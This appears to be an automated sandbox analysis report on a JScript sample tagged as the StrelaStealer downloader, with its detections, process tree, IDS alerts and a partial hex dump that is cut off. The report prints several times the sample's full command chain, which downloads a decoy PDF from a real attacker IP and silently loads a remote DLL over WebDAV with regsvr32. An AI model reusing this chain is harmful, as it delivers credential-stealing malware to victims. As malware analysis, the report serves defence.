Edit tour

Windows Analysis Report
15943270342346830855.js

Overview

General Information

Sample name:	15943270342346830855.js
Analysis ID:	1588650
MD5:	456479b2e635dade03d36f381cab6924
SHA1:	a5bcb6e980d9e02f0913cec991c427def81921d8
SHA256:	5b796b359dcb67976ba6360daddb47004c69ee5b31d67e09bb753fbd0b4d2f17
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2696 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15943270342346830855.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6516 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6460 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3648 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 528 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3792 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2188 --field-trial-handle=1772,i,9076857795864624000,12675587857248145815,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6612 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3920 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1088 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2696	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6516, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6460, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6516, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6460, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15943270342346830855.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15943270342346830855.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15943270342346830855.js", ProcessId: 2696, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3920, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15943270342346830855.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, ProcessId: 6516, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15943270342346830855.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, ProcessId: 6516, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15943270342346830855.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, ProcessId: 6516, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15943270342346830855.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, ProcessId: 6516, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15943270342346830855.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, ProcessId: 6516, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15943270342346830855.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15943270342346830855.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15943270342346830855.js", ProcessId: 2696, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6516, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6460, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6612, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3920, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1088, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6612, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3920, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15943270342346830855.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll, ProcessId: 6516, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:42:06.217095+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49705	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:42:08.698559+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:42:06.217095+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 15943270342346830855.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 15943270342346830855.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 15943270342346830855.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49705 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:42:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

